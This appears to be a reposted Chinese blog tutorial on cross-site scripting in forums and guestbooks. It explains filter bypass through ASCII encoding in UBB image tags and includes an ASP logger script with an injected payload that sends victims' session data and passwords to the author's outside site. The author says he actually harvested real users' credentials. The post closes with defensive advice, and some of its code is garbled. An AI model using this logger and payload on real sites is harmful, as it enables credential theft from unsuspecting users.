什么是跨站攻击?

一:什么是跨站脚本(CSS/XSS)?

   我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。而有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,搞网站设计的都知道CSS,因为它的功能很强大。或许这很容易让人困惑,但是如果你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。

  二:XSS和脚本注射的区别?

  但是并非任何可利用脚本插入实现攻击的漏洞都被称为XSS,因为还有另一种攻击方式:" Injection",即脚本注入或者是讲脚本注射,他们之间是有区别的,他们的区别在以下两点:
1.( Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如
:sql injection,XPath injection.这个很常见,好象前几个月很多安全网站被黑就是因为脚本里存在注入漏洞,而被一些人利用的。
2.跨站脚本是临时的,执行后就消失了。这个就不同于我们现在讨论的XSS/CSS 了,今天讲的是在页面中插入脚本,这样谁来访问谁的浏览器就执行,如果不被删掉或者是修改编辑的话,就一直存在的。

那么什么类型的脚本可以被插入远程页面?

主流脚本包括以下几种:
HTML
Java
VB
ActiveX
Flash

好了,进入正题,具体如何检查这个漏洞,大家可以看绿盟Sn0wing翻译的文章《跨站脚本说明》。

  三:基本理论
  首先,讲一下最简单的脚本攻击:〈td〉/〈td〉 (TD TR在网页中是代表框架的)等HTML字符的过滤问题。
先找了个CGI的论坛,以原来ASP的眼光看CGI的站点,我们先注册用户,在用户一栏中填写〈td 〉,提交用户注册后发现并没提出非法字符的提示,惨了,看来是有BUG了。注册完成后,点击资料也发现页面变形了.如在其他几个如国家,性别里填写也会出现同样的问题,那页面就没法看了。于是换了一个站点,再次提交〈td 〉出现了非法字符提示(比如小榕的),看来站点是已经过滤的<>等HTML的脚本字符,那好,我们改用ASCII 码替换〈〉 如& #60; & #62;代替提交后再来看,又出现了上面页面变形的情况(小榕的当然没有了),看来非法过滤机制还不是很完善。
简单的脚本攻击如〈td〉等HTML格式的代码一定要过滤好,.那我们下面就开始重点讲一下UBB过滤漏洞的问题。因为UBB在现在很多的论坛和免费留言本里都有使用的,所以需要重点讲下。因为我自己原来的留言本也是这样的,被测试过发现也有这样的漏洞,现在就换了个安全点的。
UBB是论坛中用来替换HTML编辑的一种格式符号,如〈 b〉〈 /b〉可以替换成HTML中的〈 b〉〈 / b〉,然而就是这一个替换问题,就成了跨站脚本攻击的最佳选择对象。
先讲些我们常用的标签,比如img标签,〈 img〉的过滤,确实很麻烦而且是个老大难问题,关于这个标签的脚本攻击很流行,网上也有很多文章。但是很多站点还是存在这个漏洞,有些根本没有进行过滤,特别是一些免费留言板的提供站点。下面我们主要讲一下高级问题: 由于〈 img〉的初级问题骚扰,很多站点就对一个敏感的字符开始过滤。比如字段ja,字段doc,已经字段wr等,或者是对字符进行过滤。比如java,document等等。这样一来,似乎这样的攻击少了很多,使跨站攻击变的神秘并且深奥了,但是我们仍然可以利用ASCII码来代替。

四:实践阶段
好了,理论讲完了,实践吧。。。。。。。

因为今天我们要获取信息,所以首先是写获取的文件,我的空间是asp的,所以就写asp文件,下面的代码不是我写的了。。。。。。
以下是获取的asp源代码:testfile=Server.MapPath("longker.txt")
msg=Request("msg")
set fs=server.CreateObject("ing.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing怎么样,很简单是不是,上面的文件是把得到的信息存为longker.txt,如果漏洞存在,就会在空间里生成longker.txt,里边是收集的信息。

好了,一切就绪了,开始测试吧。我首先输了这样的内容:< img>java:write(不知道有没有);</img>成了星号和一个鬼脸了,这个自然会过滤的了,我也早想到了,为了让大家能看的更清楚,所以在这里也测试下。
这样不行,我们的获取的脚本还没有插进去呢。换种方法来吧,看来论坛对字符过滤得比较严格,把字母j换成ascii码试试,j的ascii码是106。看java出来了吧?如果我们发个帖子,并且禁止表情字符的话,那大家在浏览的时候就会出现一个警告框,上面也着“再试”,成功了,但是这样只是给了个警告而已,没有获取信息,那大家是不是知道下面该怎么办了?好了,下面我们来把获取的asp文件插入进去吧,为了防止论坛还过滤了一些字符,我们把所有的内容全用ascii码来代替。
在浏览器的上方看见什么了?呵呵,时间,id和密码等信息哦,这样只要你访问这个页面并且你已经登陆的话,你的信息就全在里面了,是不是很恐怖呢?如果你的论坛密码和QQ邮箱的密码是一样的,那你就惨了,所以在进论坛的时候还是存在在安全隐患的。这也是我写这个文章的原因了。

弹出个窗口肯定让人怀疑的,那怎么不让它弹出窗口呢?我提交的代码是:<img>java:location=http://www.longker.com/ywzy/info.asp?msg=+< /img>转换成ascii码就是:< img>java:location=http://www.longker.com/ywzy/info.asp?msg=+</img>换成这个代码后就不会出现新窗口了 :) 去看看我的网站上保存的那个记录的文件,已经很大了。

看到了吧,密码全在你眼前哦,而且是明文的。为此我还被批判了,搞不懂。。。。。

五:思考及解决办法
值得注意的是,经过对国内的几个流行的留言板和论坛的测试。基本上所有的免费留言板程序都有问题。主要还是因为过滤机制不严密造成的,象一些ubb语句,那么样经过严格的过滤,这样就很容易被人家利用,对广大网民造成危害,影响你站点的声誉。

下面是如何防范的问题了,如何防范XSS跨站攻击?
首先是作为浏览者或者是有留言板的你:
在你的WEB浏览器上禁用java脚本,具体方法,先打开你的IE的internet选项,切换到“安全”页,有个“自定义”级别,点他出现如下窗口,禁用就可以了。但是好象不太可能,因为一旦禁用,很多功能就丧失了,这个方法是下策。
还有不要访问包含〈〉字符的连接,当然一些官方的URL不会包括任何脚本元素。
如果你的站点程序含论坛,留言板,以及其他程序中含提交数据格式的,没有很好过滤机制,请马上下载升级程序或是停止使用ubb这样的功能,避免造成更多的问题。

再者是作为程序的开发这而言:
开发者要仔细审核代码,对提交输入数据进行有效检查,如空格,ascii码等,这个是上策。但是由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,这主要依赖于所开发程序的作用,建议过滤掉所有元字符。
最后,希望广大网络爱好者看了这个文章后能增加安全意识,把好自己网站的关。切忌利用此教程进行破坏行为,谢谢!
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值